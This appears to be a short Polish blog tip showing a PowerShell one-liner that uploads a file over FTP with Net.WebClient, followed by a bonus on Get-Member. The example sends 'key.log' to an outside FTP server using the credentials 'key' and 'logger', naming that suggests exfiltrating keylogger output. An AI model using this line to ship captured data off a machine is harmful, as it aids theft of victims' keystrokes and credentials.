Szybki upload FTP? Easy! [Net.WebClient]::New().UploadFile("ftp://key:logger@ftp.aptmc.pl/key.log", (gi "key.log"))
Powyższy onliner wyśle po FTP plik key.log z aktualnego katalogu do serwera FTP znajdującego się pod adresem ftp.aptmc.pl uwierzytelniając się jako użytkownik key z hasłem logger. Oczywiście w przypadku anonimowego serwera FTP, część z użytkownikiem i hasłem byśmy pominęli.
Cmdlet Get-Item o aliase gi wykorzystany jest po to, by zapewnić pełną ścieżkę do wysyłanego pliku (zwrócony przez Get-Item obiekt pdczas rzutowania na string zwróci właściwość FullName czyli pełną ścieżkę).
Bonus
Żeby rzucić okiem na to, jakie jeszcze ciekawe metody posiada obiekt Net.WebClient, moglibyśmy skorzystać z nieocenionego w codziennej pracy cmdletu Get-Member:
[Net.WebClient]::New() | Get-Member -MemberType Method
Get-Member to złoto, pamiętajcie o nim! Nie może być przypadkiem, że jego alias to gm, niczym Grand Master. 🤓